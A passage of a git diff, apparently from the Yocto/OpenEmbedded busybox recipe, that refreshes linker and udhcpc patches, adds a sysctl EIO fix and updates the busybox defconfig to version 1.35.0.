-+cmd_link_multi-y = $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(link_multi_deps)
-
- quiet_cmd_link_multi-m = LD [M] $@
--cmd_link_multi-m = $(LD) $(ld_flags) $(LDFLAGS_MODULE) -o $@ $(link_multi_deps)
-+cmd_link_multi-m = $(CC) $(ld_flags) $(LDFLAGS_MODULE) -o $@ $(link_multi_deps)
-
- # We would rather have a list of rules like
- # foo.o: $(foo-objs)
-Index: busybox-1.23.2/scripts/Makefile.lib
-===================================================================
---- busybox-1.23.2.orig/scripts/Makefile.lib
-+++ busybox-1.23.2/scripts/Makefile.lib
-@@ -121,7 +121,8 @@ cpp_flags = -Wp,-MD,$(depfile) $(NO
- # yet ld_flags is fed to ld.
- #ld_flags = $(LDFLAGS) $(EXTRA_LDFLAGS)
- # Remove the -Wl, prefix from linker options normally passed through gcc
--ld_flags = $(filter-out -Wl$(comma)%,$(LDFLAGS) $(EXTRA_LDFLAGS))
-+ld_flags = $(filter-out -Wl$(comma)%,$(LDFLAGS) $(EXTRA_LDFLAGS) $(CFLAGS) $(EXTRA_CFLAGS))
-+ld_flags_partial = $($(filter-out -shared%, $(filter-out -pie%,$(ld_flags))))
-
-
- # Finds the multi-part object the current object will be linked into
-@@ -151,10 +152,8 @@ $(obj)/%:: $(src)/%_shipped
- # Linking
- # ---------------------------------------------------------------------------
-
--# TODO: LDFLAGS usually is supposed to contain gcc's flags, not ld's.
--# but here we feed them to ld!
--quiet_cmd_ld = LD $@
--cmd_ld = $(LD) $(LDFLAGS) $(EXTRA_LDFLAGS) $(LDFLAGS_$(@F)) \
-+quiet_cmd_ld = CC $@
-+cmd_ld = $(CC) $(ld_flags) $(LDFLAGS_$(@F)) \
- $(filter-out FORCE,$^) -o $@
-
- # Objcopy
diff --git a/meta/recipes-core/busybox/busybox/0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch b/meta/recipes-core/busybox/busybox/0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch
new file mode 100644
index 0000000000..9f58eaef67
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch
@@ -0,0 +1,40 @@
+From 3bee0460d74bad88eca6592e63ca926961b43b67 Mon Sep 17 00:00:00 2001
+From: Yi Zhao <yi.zhao@windriver.com>
+Date: Fri, 6 Mar 2020 16:09:26 +0800
+Subject: [PATCH] sysctl: ignore EIO of stable_secret below
+ /proc/sys/net/ipv6/conf
+
+Avoid confusing messages caused by EIO on reading
+/proc/sys/net/ipv6/conf/*/stable_secret if those are not set yet.
+Make it behave the same as procps(>=3.3.13).
+
+Upstream-Status: Submitted [busybox@busybox.net mailing list]
+
+Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+---
+ procps/sysctl.c | 9 ++++++++-
+ 1 file changed, 8 insertions(+), 1 deletion(-)
+
+diff --git a/procps/sysctl.c b/procps/sysctl.c
+index 6d77185ca..42c51cc91 100644
+--- a/procps/sysctl.c
++++ b/procps/sysctl.c
+@@ -202,7 +202,14 @@ static int sysctl_act_on_setting(char *setting)
+ value = cptr = xmalloc_read(fd, NULL);
+ close(fd);
+ if (value == NULL) {
+- bb_perror_msg("error reading key '%s'", outname);
++ switch (errno) {
++ case EIO:
++ /* Ignore stable_secret below /proc/sys/net/ipv6/conf */
++ break;
++ default:
++ bb_perror_msg("error reading key '%s'", outname);
++ break;
++ }
+ retval = EXIT_FAILURE;
+ goto end;
+ }
+--
+2.17.1
+
diff --git a/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch b/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
index 25472f0bbd..d4bda3c12f 100644
--- a/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
+++ b/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
@@ -18,13 +18,13 @@ diff --git a/testsuite/tar.tests b/testsuite/tar.tests
index d71a349..8c88567 100755
--- a/testsuite/tar.tests
+++ b/testsuite/tar.tests
-@@ -336,7 +336,7 @@ SKIP=
- cd .. || exit 1; rm -rf tar.tempdir 2>/dev/null
+@@ -339,7 +339,7 @@ cd .. || exit 1; rm -rf tar.tempdir 2>/d
+ fi
mkdir tar.tempdir && cd tar.tempdir || exit 1
-optional FEATURE_SEAMLESS_BZ2 FEATURE_TAR_AUTODETECT LS
+optional FEATURE_SEAMLESS_BZ2 FEATURE_TAR_AUTODETECT LS UUDECODE
- testing "Symlink attack: create symlink and then write through it" '\
+ testing "tar Symlink attack: create symlink and then write through it" '\
exec 2>&1
uudecode -o input && tar xvf input; echo $?
diff --git a/testsuite/unzip.tests b/testsuite/unzip.tests
diff --git a/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch b/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
index 2a0a40c512..948932a3e8 100644
--- a/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
+++ b/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
@@ -31,10 +31,10 @@ Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
networking/udhcp/dhcpc.c | 29 ++++++++++++++++------
1 file changed, 21 insertions(+), 8 deletions(-)
-Index: busybox-1.31.0/networking/udhcp/dhcpc.c
+Index: busybox-1.34.0/networking/udhcp/dhcpc.c
===================================================================
---- busybox-1.31.0.orig/networking/udhcp/dhcpc.c
-+++ busybox-1.31.0/networking/udhcp/dhcpc.c
+--- busybox-1.34.0.orig/networking/udhcp/dhcpc.c
++++ busybox-1.34.0/networking/udhcp/dhcpc.c
@@ -48,6 +48,8 @@
};
#endif
@@ -44,47 +44,37 @@ Index: busybox-1.31.0/networking/udhcp/dhcpc.c
/* "struct client_data_t client_data" is in bb_common_bufsiz1 */
-@@ -103,8 +105,10 @@
- OPT_x = 1 << 18,
- OPT_f = 1 << 19,
- OPT_B = 1 << 20,
-+ OPT_D = 1 << 21,
+@@ -100,8 +102,10 @@
+ OPT_x = 1 << 16,
+ OPT_f = 1 << 17,
+ OPT_B = 1 << 18,
++ OPT_D = 1 << 19,
/* The rest has variable bit positions, need to be clever */
- OPTBIT_B = 20,
-+ OPTBIT_D = 21,
+ OPTBIT_B = 18,
++ OPTBIT_D = 19,
USE_FOR_MMU( OPTBIT_b,)
IF_FEATURE_UDHCPC_ARPING(OPTBIT_a,)
IF_FEATURE_UDHCP_PORT( OPTBIT_P,)
-@@ -1124,7 +1128,8 @@
- client_data.state = RENEW_REQUESTED;
- break;
- case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- case REQUESTING:
- case RELEASED:
- change_listen_mode(LISTEN_RAW);
-@@ -1160,7 +1165,8 @@
- * Users requested to be notified in all cases, even if not in one
- * of the states above.
- */
-- udhcp_run_script(NULL, "deconfig");
+@@ -587,7 +591,8 @@
+
+ static void d4_run_script_deconfig(void)
+ {
+- d4_run_script(NULL, "deconfig");
+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
++ d4_run_script(NULL, "deconfig");
+ }
- change_listen_mode(LISTEN_NONE);
- client_data.state = RELEASED;
-@@ -1278,7 +1284,7 @@
+ /*** Sending/receiving packets ***/
+@@ -1244,7 +1249,7 @@
/* Parse command line */
opt = getopt32long(argv, "^"
/* O,x: list; -T,-t,-A take numeric param */
-- "CV:H:h:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fB"
-+ "CV:H:h:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fBD"
+- "CV:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fB"
++ "CV:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fBD"
USE_FOR_MMU("b")
IF_FEATURE_UDHCPC_ARPING("a::")
IF_FEATURE_UDHCP_PORT("P:")
-@@ -1389,6 +1395,10 @@
+@@ -1361,6 +1366,10 @@
logmode |= LOGMODE_SYSLOG;
}
@@ -95,49 +85,3 @@ Index: busybox-1.31.0/networking/udhcp/dhcpc.c
/* Create pidfile */
write_pidfile(client_data.pidfile);
/* Goes to stdout (unless NOMMU) and possibly syslog */
-@@ -1397,7 +1407,8 @@
- srand(monotonic_us());
-
- client_data.state = INIT_SELECTING;
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- change_listen_mode(LISTEN_RAW);
- packet_num = 0;
- timeout = 0;
-@@ -1570,7 +1581,8 @@
- }
- /* Timed out, enter init state */
- bb_info_msg("lease lost, entering init state");
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- client_data.state = INIT_SELECTING;
- client_data.first_secs = 0; /* make secs field count from 0 */
- /*timeout = 0; - already is */
-@@ -1762,8 +1774,10 @@
- "(got ARP reply), declining");
- send_decline(/*xid,*/ server_addr, packet.yiaddr);
-
-- if (client_data.state != REQUESTING)
-- udhcp_run_script(NULL, "deconfig");
-+ if (client_data.state != REQUESTING) {
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
-+ }
- change_listen_mode(LISTEN_RAW);
- client_data.state = INIT_SELECTING;
- client_data.first_secs = 0; /* make secs field count from 0 */
-@@ -1832,8 +1846,10 @@
- /* return to init state */
- bb_info_msg("received %s", "DHCP NAK");
- udhcp_run_script(&packet, "nak");
-- if (client_data.state != REQUESTING)
-- udhcp_run_script(NULL, "deconfig");
-+ if (client_data.state != REQUESTING) {
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
-+ }
- change_listen_mode(LISTEN_RAW);
- sleep(3); /* avoid excessive network traffic */
- client_data.state = INIT_SELECTING;
diff --git a/meta/recipes-core/busybox/busybox/defconfig b/meta/recipes-core/busybox/busybox/defconfig
index 0b27fcd4b3..5e1e1f5638 100644
--- a/meta/recipes-core/busybox/busybox/defconfig
+++ b/meta/recipes-core/busybox/busybox/defconfig
@@ -1,7 +1,7 @@
#
# Automatically generated make config: don't edit
-# Busybox version: 1.30.1
-# Sun Feb 17 18:12:27 2019
+# Busybox version: 1.35.0
+# Sun Dec 26 16:55:55 2021
#
CONFIG_HAVE_DOT_CONFIG=y
@@ -34,8 +34,8 @@ CONFIG_FEATURE_SUID_CONFIG_QUIET=y
CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe"
# CONFIG_SELINUX is not set
# CONFIG_FEATURE_CLEAN_UP is not set
+CONFIG_FEATURE_SYSLOG_INFO=y
CONFIG_FEATURE_SYSLOG=y
-CONFIG_PLATFORM_LINUX=y
#
# Build Options
@@ -54,6 +54,7 @@ CONFIG_EXTRA_LDFLAGS=""
CONFIG_EXTRA_LDLIBS=""
# CONFIG_USE_PORTABLE_CODE is not set
CONFIG_STACK_OPTIMIZATION_386=y
+CONFIG_STATIC_LIBGCC=y
#
# Installation Options ("make install" behavior)
@@ -75,6 +76,7 @@ CONFIG_PREFIX="./_install"
# CONFIG_DEBUG_SANITIZE is not set
# CONFIG_UNIT_TEST is not set
# CONFIG_WERROR is not set
+# CONFIG_WARN_SIMPLE_MSG is not set
CONFIG_NO_DEBUG_LIB=y
# CONFIG_DMALLOC is not set
# CONFIG_EFENCE is not set
@@ -92,9 +94,12 @@ CONFIG_FEATURE_BUFFERS_USE_MALLOC=y
CONFIG_PASSWORD_MINLEN=6
CONFIG_MD5_SMALL=1
CONFIG_SHA3_SMALL=1
-CONFIG_FEATURE_FAST_TOP=y
-# CONFIG_FEATURE_ETC_NETWORKS is not set
-# CONFIG_FEATURE_ETC_SERVICES is not set
+CONFIG_FEATURE_NON_POSIX_CP=y
+# CONFIG_FEATURE_VERBOSE_CP_MESSAGE is not set
+CONFIG_FEATURE_USE_SENDFILE=y
+CONFIG_FEATURE_COPYBUF_KB=4
+CONFIG_MONOTONIC_SYSCALL=y
+CONFIG_IOCTL_HEX2STR_ERROR=y
CONFIG_FEATURE_EDITING=y
CONFIG_FEATURE_EDITING_MAX_LEN=1024
# CONFIG_FEATURE_EDITING_VI is not set
@@ -108,24 +113,16 @@ CONFIG_FEATURE_EDITING_FANCY_PROMPT=y
# CONFIG_FEATURE_EDITING_WINCH is not set
# CONFIG_FEATURE_EDITING_ASK_TERMINAL is not set
# CONFIG_LOCALE_SUPPORT is not set
-# CONFIG_UNICODE_SUPPORT is not set
+CONFIG_UNICODE_SUPPORT=y
# CONFIG_UNICODE_USING_LOCALE is not set
-# CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set
-CONFIG_SUBST_WCHAR=0
-CONFIG_LAST_SUPPORTED_WCHAR=0
-# CONFIG_UNICODE_COMBINING_WCHARS is not set
-# CONFIG_UNICODE_WIDE_WCHARS is not set
+CONFIG_FEATURE_CHECK_UNICODE_IN_ENV=y
+CONFIG_SUBST_WCHAR=63
+CONFIG_LAST_SUPPORTED_WCHAR=767
+CONFIG_UNICODE_COMBINING_WCHARS=y
+CONFIG_UNICODE_WIDE_WCHARS=y
# CONFIG_UNICODE_BIDI_SUPPORT is not set
# CONFIG_UNICODE_NEUTRAL_TABLE is not set
# CONFIG_UNICODE_PRESERVE_BROKEN is not set
-CONFIG_FEATURE_NON_POSIX_CP=y
-# CONFIG_FEATURE_VERBOSE_CP_MESSAGE is not set
-CONFIG_FEATURE_USE_SENDFILE=y
-CONFIG_FEATURE_COPYBUF_KB=4
-CONFIG_FEATURE_SKIP_ROOTFS=y
-CONFIG_MONOTONIC_SYSCALL=y
-CONFIG_IOCTL_HEX2STR_ERROR=y
-CONFIG_FEATURE_HWIB=y
#
# Applets
@@ -155,10 +152,13 @@ CONFIG_LZCAT=y
CONFIG_XZCAT=y
# CONFIG_XZ is not set
CONFIG_BZIP2=y
+CONFIG_BZIP2_SMALL=8
CONFIG_FEATURE_BZIP2_DECOMPRESS=y
CONFIG_CPIO=y
# CONFIG_FEATURE_CPIO_O is not set
# CONFIG_FEATURE_CPIO_P is not set
+# CONFIG_FEATURE_CPIO_IGNORE_DEVNO is not set
+# CONFIG_FEATURE_CPIO_RENUMBER_INODES is not set
# CONFIG_DPKG is not set
# CONFIG_DPKG_DEB is not set
CONFIG_GZIP=y
@@ -194,6 +194,22 @@ CONFIG_FEATURE_UNZIP_CDF=y
#
# Coreutils
#
+CONFIG_FEATURE_VERBOSE=y
+
+#
+# Common options for date and touch
+#
+# CONFIG_FEATURE_TIMEZONE is not set
+
+#
+# Common options for cp and mv
+#
+# CONFIG_FEATURE_PRESERVE_HARDLINKS is not set
+
+#
+# Common options for df, du, ls
+#
+CONFIG_FEATURE_HUMAN_READABLE=y
CONFIG_BASENAME=y
CONFIG_CAT=y
CONFIG_FEATURE_CATN=y
@@ -204,11 +220,13 @@ CONFIG_CHOWN=y
# CONFIG_FEATURE_CHOWN_LONG_OPTIONS is not set
CONFIG_CHROOT=y
# CONFIG_CKSUM is not set
+CONFIG_CRC32=y
# CONFIG_COMM is not set
CONFIG_CP=y
# CONFIG_FEATURE_CP_LONG_OPTIONS is not set
# CONFIG_FEATURE_CP_REFLINK is not set
CONFIG_CUT=y
+CONFIG_FEATURE_CUT_REGEX=y
CONFIG_DATE=y
# CONFIG_FEATURE_DATE_ISOFMT is not set
# CONFIG_FEATURE_DATE_NANO is not set
@@ -220,6 +238,7 @@ CONFIG_FEATURE_DD_SIGNAL_HANDLING=y
# CONFIG_FEATURE_DD_STATUS is not set
CONFIG_DF=y
# CONFIG_FEATURE_DF_FANCY is not set
+# CONFIG_FEATURE_SKIP_ROOTFS is not set
CONFIG_DIRNAME=y
# CONFIG_DOS2UNIX is not set
# CONFIG_UNIX2DOS is not set
@@ -235,7 +254,6 @@ CONFIG_EXPR_MATH_SUPPORT_64=y
# CONFIG_FACTOR is not set
CONFIG_FALSE=y
# CONFIG_FOLD is not set
-# CONFIG_FSYNC is not set
CONFIG_HEAD=y
# CONFIG_FEATURE_FANCY_HEAD is not set
# CONFIG_HOSTID is not set
@@ -257,8 +275,8 @@ CONFIG_FEATURE_LS_USERNAME=y
CONFIG_FEATURE_LS_COLOR=y
# CONFIG_FEATURE_LS_COLOR_IS_DEFAULT is not set
CONFIG_MD5SUM=y
-# CONFIG_SHA1SUM is not set
-# CONFIG_SHA256SUM is not set
+CONFIG_SHA1SUM=y
+CONFIG_SHA256SUM=y
# CONFIG_SHA512SUM is not set
# CONFIG_SHA3SUM is not set
@@ -302,6 +320,7 @@ CONFIG_STTY=y
# CONFIG_SUM is not set
CONFIG_SYNC=y
# CONFIG_FEATURE_SYNC_FANCY is not set
+# CONFIG_FSYNC is not set
# CONFIG_TAC is not set
CONFIG_TAIL=y
CONFIG_FEATURE_FANCY_TAIL=y
@@ -313,7 +332,6 @@ CONFIG_TEST2=y
CONFIG_FEATURE_TEST_64=y
# CONFIG_TIMEOUT is not set
CONFIG_TOUCH=y
-CONFIG_FEATURE_TOUCH_NODEREF=y
CONFIG_FEATURE_TOUCH_SUSV3=y
CONFIG_TR=y
CONFIG_FEATURE_TR_CLASSES=y
@@ -328,32 +346,18 @@ CONFIG_UNIQ=y
CONFIG_UNLINK=y
CONFIG_USLEEP=y
# CONFIG_UUDECODE is not set
+CONFIG_BASE32=y
# CONFIG_BASE64 is not set
# CONFIG_UUENCODE is not set
CONFIG_WC=y
# CONFIG_FEATURE_WC_LARGE is not set
-CONFIG_WHOAMI=y
CONFIG_WHO=y
# CONFIG_W is not set
CONFIG_USERS=y
+CONFIG_WHOAMI=y
CONFIG_YES=y
#
-# Common options
-#
-CONFIG_FEATURE_VERBOSE=y
-
-#
-# Common options for cp and mv
-#
-# CONFIG_FEATURE_PRESERVE_HARDLINKS is not set
-
-#
-# Common options for df, du, ls
-#
-CONFIG_FEATURE_HUMAN_READABLE=y
-
-#
# Console Utilities
#
CONFIG_CHVT=y
@@ -375,8 +379,8 @@ CONFIG_DEFAULT_SETFONT_DIR=""
CONFIG_LOADKMAP=y
CONFIG_OPENVT=y
CONFIG_RESET=y
-# CONFIG_RESIZE is not set
-# CONFIG_FEATURE_RESIZE_PRINT is not set
+CONFIG_RESIZE=y
+CONFIG_FEATURE_RESIZE_PRINT=y
CONFIG_SETCONSOLE=y
# CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS is not set
# CONFIG_SETKEYCODES is not set
@@ -420,6 +424,7 @@ CONFIG_VI=y
CONFIG_FEATURE_VI_MAX_LEN=1024
CONFIG_FEATURE_VI_8BIT=y
CONFIG_FEATURE_VI_COLON=y
+CONFIG_FEATURE_VI_COLON_EXPAND=y
CONFIG_FEATURE_VI_YANKMARK=y
CONFIG_FEATURE_VI_SEARCH=y
# CONFIG_FEATURE_VI_REGEX_SEARCH is not set
@@ -433,6 +438,7 @@ CONFIG_FEATURE_VI_WIN_RESIZE=y
CONFIG_FEATURE_VI_UNDO=y
CONFIG_FEATURE_VI_UNDO_QUEUE=y
CONFIG_FEATURE_VI_UNDO_QUEUE_MAX=256
+CONFIG_FEATURE_VI_VERBOSE_STATUS=y
CONFIG_FEATURE_ALLOW_EXEC=y
#
@@ -441,7 +447,11 @@ CONFIG_FEATURE_ALLOW_EXEC=y
CONFIG_FIND=y
CONFIG_FEATURE_FIND_PRINT0=y
CONFIG_FEATURE_FIND_MTIME=y
+CONFIG_FEATURE_FIND_ATIME=y
+CONFIG_FEATURE_FIND_CTIME=y
CONFIG_FEATURE_FIND_MMIN=y
+CONFIG_FEATURE_FIND_AMIN=y
+CONFIG_FEATURE_FIND_CMIN=y
CONFIG_FEATURE_FIND_PERM=y
CONFIG_FEATURE_FIND_TYPE=y
CONFIG_FEATURE_FIND_EXECUTABLE=y
@@ -449,6 +459,7 @@ CONFIG_FEATURE_FIND_XDEV=y
CONFIG_FEATURE_FIND_MAXDEPTH=y
CONFIG_FEATURE_FIND_NEWER=y
# CONFIG_FEATURE_FIND_INUM is not set
+CONFIG_FEATURE_FIND_SAMEFILE=y
CONFIG_FEATURE_FIND_EXEC=y
CONFIG_FEATURE_FIND_EXEC_PLUS=y
CONFIG_FEATURE_FIND_USER=y
@@ -460,6 +471,7 @@ CONFIG_FEATURE_FIND_SIZE=y
CONFIG_FEATURE_FIND_PRUNE=y
CONFIG_FEATURE_FIND_QUIT=y
# CONFIG_FEATURE_FIND_DELETE is not set
+CONFIG_FEATURE_FIND_EMPTY=y
CONFIG_FEATURE_FIND_PATH=y
CONFIG_FEATURE_FIND_REGEX=y
# CONFIG_FEATURE_FIND_CONTEXT is not set
@@ -488,32 +500,32 @@ CONFIG_FEATURE_XARGS_SUPPORT_REPL_STR=y
CONFIG_REBOOT=y
# CONFIG_FEATURE_WAIT_FOR_INIT is not set
# CONFIG_FEATURE_CALL_TELINIT is not set
-# CONFIG_TELINIT_PATH is not set
+CONFIG_TELINIT_PATH=""
# CONFIG_INIT is not set
# CONFIG_LINUXRC is not set
# CONFIG_FEATURE_USE_INITTAB is not set
# CONFIG_FEATURE_KILL_REMOVED is not set
-# CONFIG_FEATURE_KILL_DELAY is not set
+CONFIG_FEATURE_KILL_DELAY=0
# CONFIG_FEATURE_INIT_SCTTY is not set
# CONFIG_FEATURE_INIT_SYSLOG is not set
# CONFIG_FEATURE_INIT_QUIET is not set
# CONFIG_FEATURE_INIT_COREDUMPS is not set
-# CONFIG_INIT_TERMINAL_TYPE is not set
+CONFIG_INIT_TERMINAL_TYPE=""
# CONFIG_FEATURE_INIT_MODIFY_CMDLINE is not set
#
# Login/Password Management Utilities
#
-# CONFIG_FEATURE_SHADOWPASSWDS is not set
+CONFIG_FEATURE_SHADOWPASSWDS=y
# CONFIG_USE_BB_PWD_GRP is not set
# CONFIG_USE_BB_SHADOW is not set
CONFIG_USE_BB_CRYPT=y
# CONFIG_USE_BB_CRYPT_SHA is not set
-# CONFIG_ADDGROUP is not set
-# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set
# CONFIG_ADD_SHELL is not set
# CONFIG_REMOVE_SHELL is not set
-# CONFIG_ADDUSER is not set
+CONFIG_ADDGROUP=y
+# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set
+CONFIG_ADDUSER=y
# CONFIG_FEATURE_CHECK_NAMES is not set
CONFIG_LAST_ID=60000
CONFIG_FIRST_SYSTEM_ID=100
@@ -522,23 +534,23 @@ CONFIG_LAST_SYSTEM_ID=999
CONFIG_FEATURE_DEFAULT_PASSWD_ALGO=""
# CONFIG_CRYPTPW is not set
# CONFIG_MKPASSWD is not set
-# CONFIG_DELUSER is not set
-# CONFIG_DELGROUP is not set
+CONFIG_DELUSER=y
+CONFIG_DELGROUP=y
# CONFIG_FEATURE_DEL_USER_FROM_GROUP is not set
-# CONFIG_GETTY is not set
-# CONFIG_LOGIN is not set
+CONFIG_GETTY=y
+CONFIG_LOGIN=y
# CONFIG_LOGIN_SESSION_AS_CHILD is not set
# CONFIG_LOGIN_SCRIPTS is not set
# CONFIG_FEATURE_NOLOGIN is not set
# CONFIG_FEATURE_SECURETTY is not set
-# CONFIG_PASSWD is not set
+CONFIG_PASSWD=y
# CONFIG_FEATURE_PASSWD_WEAK_CHECK is not set
-# CONFIG_SU is not set
+CONFIG_SU=y
# CONFIG_FEATURE_SU_SYSLOG is not set
# CONFIG_FEATURE_SU_CHECKS_SHELLS is not set
# CONFIG_FEATURE_SU_BLANK_PW_NEEDS_SECURE_TTY is not set
-# CONFIG_SULOGIN is not set
-# CONFIG_VLOCK is not set
+CONFIG_SULOGIN=y
+CONFIG_VLOCK=y
#
# Linux Ext2 FS Progs
@@ -585,8 +597,8 @@ CONFIG_DEFAULT_DEPMOD_FILE="modules.dep"
# CONFIG_ACPID is not set
# CONFIG_FEATURE_ACPID_COMPAT is not set
# CONFIG_BLKDISCARD is not set
-# CONFIG_BLKID is not set
-# CONFIG_FEATURE_BLKID_TYPE is not set
+CONFIG_BLKID=y
+CONFIG_FEATURE_BLKID_TYPE=y
# CONFIG_BLOCKDEV is not set
# CONFIG_CAL is not set
# CONFIG_CHRT is not set
@@ -616,10 +628,9 @@ CONFIG_FLOCK=y
# CONFIG_FSCK_MINIX is not set
# CONFIG_FSFREEZE is not set
CONFIG_FSTRIM=y
-# CONFIG_GETOPT is not set
-# CONFIG_FEATURE_GETOPT_LONG is not set
+CONFIG_GETOPT=y
+CONFIG_FEATURE_GETOPT_LONG=y
CONFIG_HEXDUMP=y
-# CONFIG_FEATURE_HEXDUMP_REVERSE is not set
# CONFIG_HD is not set
# CONFIG_XXD is not set
CONFIG_HWCLOCK=y
@@ -638,6 +649,7 @@ CONFIG_LOSETUP=y
# CONFIG_FEATURE_MDEV_RENAME_REGEXP is not set
# CONFIG_FEATURE_MDEV_EXEC is not set
# CONFIG_FEATURE_MDEV_LOAD_FIRMWARE is not set
+# CONFIG_FEATURE_MDEV_DAEMON is not set
CONFIG_MESG=y
# CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP is not set
# CONFIG_MKE2FS is not set
@@ -654,7 +666,7 @@ CONFIG_MOUNT=y
# CONFIG_FEATURE_MOUNT_FAKE is not set
# CONFIG_FEATURE_MOUNT_VERBOSE is not set
# CONFIG_FEATURE_MOUNT_HELPERS is not set
-# CONFIG_FEATURE_MOUNT_LABEL is not set
+CONFIG_FEATURE_MOUNT_LABEL=y
# CONFIG_FEATURE_MOUNT_NFS is not set
# CONFIG_FEATURE_MOUNT_CIFS is not set
CONFIG_FEATURE_MOUNT_FLAGS=y
@@ -669,7 +681,7 @@ CONFIG_RDATE=y
# CONFIG_RDEV is not set
# CONFIG_READPROFILE is not set
CONFIG_RENICE=y
-# CONFIG_REV is not set
+CONFIG_REV=y
# CONFIG_RTCWAKE is not set
# CONFIG_SCRIPT is not set
# CONFIG_SCRIPTREPLAY is not set
@@ -689,6 +701,7 @@ CONFIG_SWAPOFF=y
CONFIG_SWITCH_ROOT=y
# CONFIG_TASKSET is not set
# CONFIG_FEATURE_TASKSET_FANCY is not set
+# CONFIG_FEATURE_TASKSET_CPULIST is not set
# CONFIG_UEVENT is not set
CONFIG_UMOUNT=y
CONFIG_FEATURE_UMOUNT_ALL=y
@@ -701,18 +714,19 @@ CONFIG_FEATURE_UMOUNT_ALL=y
CONFIG_FEATURE_MOUNT_LOOP=y
CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# CONFIG_FEATURE_MTAB_SUPPORT is not set
-# CONFIG_VOLUMEID is not set
+CONFIG_VOLUMEID=y
#
# Filesystem/Volume identification
#
# CONFIG_FEATURE_VOLUMEID_BCACHE is not set
-# CONFIG_FEATURE_VOLUMEID_BTRFS is not set
+CONFIG_FEATURE_VOLUMEID_BTRFS=y
# CONFIG_FEATURE_VOLUMEID_CRAMFS is not set
+CONFIG_FEATURE_VOLUMEID_EROFS=y
# CONFIG_FEATURE_VOLUMEID_EXFAT is not set
-# CONFIG_FEATURE_VOLUMEID_EXT is not set
-# CONFIG_FEATURE_VOLUMEID_F2FS is not set
-# CONFIG_FEATURE_VOLUMEID_FAT is not set
+CONFIG_FEATURE_VOLUMEID_EXT=y
+CONFIG_FEATURE_VOLUMEID_F2FS=y
+CONFIG_FEATURE_VOLUMEID_FAT=y
# CONFIG_FEATURE_VOLUMEID_HFS is not set
# CONFIG_FEATURE_VOLUMEID_ISO9660 is not set
# CONFIG_FEATURE_VOLUMEID_JFS is not set
@@ -726,7 +740,7 @@ CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# CONFIG_FEATURE_VOLUMEID_OCFS2 is not set
# CONFIG_FEATURE_VOLUMEID_REISERFS is not set
# CONFIG_FEATURE_VOLUMEID_ROMFS is not set
-# CONFIG_FEATURE_VOLUMEID_SQUASHFS is not set
+CONFIG_FEATURE_VOLUMEID_SQUASHFS=y
# CONFIG_FEATURE_VOLUMEID_SYSV is not set
# CONFIG_FEATURE_VOLUMEID_UBIFS is not set
# CONFIG_FEATURE_VOLUMEID_UDF is not set
@@ -736,6 +750,7 @@ CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# Miscellaneous Utilities
#
# CONFIG_ADJTIMEX is not set
+CONFIG_ASCII=y
# CONFIG_BBCONFIG is not set
# CONFIG_FEATURE_COMPRESS_BBCONFIG is not set
# CONFIG_BC is not set
@@ -769,10 +784,10 @@ CONFIG_FEATURE_CROND_DIR=""
# CONFIG_FEATURE_DEVFS is not set
# CONFIG_DEVMEM is not set
# CONFIG_FBSPLASH is not set
-# CONFIG_FLASHCP is not set
# CONFIG_FLASH_ERASEALL is not set
# CONFIG_FLASH_LOCK is not set
# CONFIG_FLASH_UNLOCK is not set
+# CONFIG_FLASHCP is not set
# CONFIG_HDPARM is not set
# CONFIG_FEATURE_HDPARM_GET_IDENTITY is not set
# CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF is not set
@@ -785,6 +800,7 @@ CONFIG_FEATURE_CROND_DIR=""
# CONFIG_I2CSET is not set
# CONFIG_I2CDUMP is not set
# CONFIG_I2CDETECT is not set
+# CONFIG_I2CTRANSFER is not set
# CONFIG_INOTIFYD is not set
CONFIG_LESS=y
CONFIG_FEATURE_LESS_MAXLINES=9999999
@@ -805,6 +821,7 @@ CONFIG_FEATURE_LESS_FLAGS=y
# CONFIG_FEATURE_MAKEDEVS_TABLE is not set
# CONFIG_MAN is not set
CONFIG_MICROCOM=y
+# CONFIG_MIM is not set
# CONFIG_MT is not set
# CONFIG_NANDWRITE is not set
# CONFIG_NANDDUMP is not set
@@ -818,16 +835,18 @@ CONFIG_RFKILL=y
# CONFIG_SETSERIAL is not set
CONFIG_STRINGS=y
CONFIG_TIME=y
+CONFIG_TS=y
# CONFIG_TTYSIZE is not set
-# CONFIG_UBIRENAME is not set
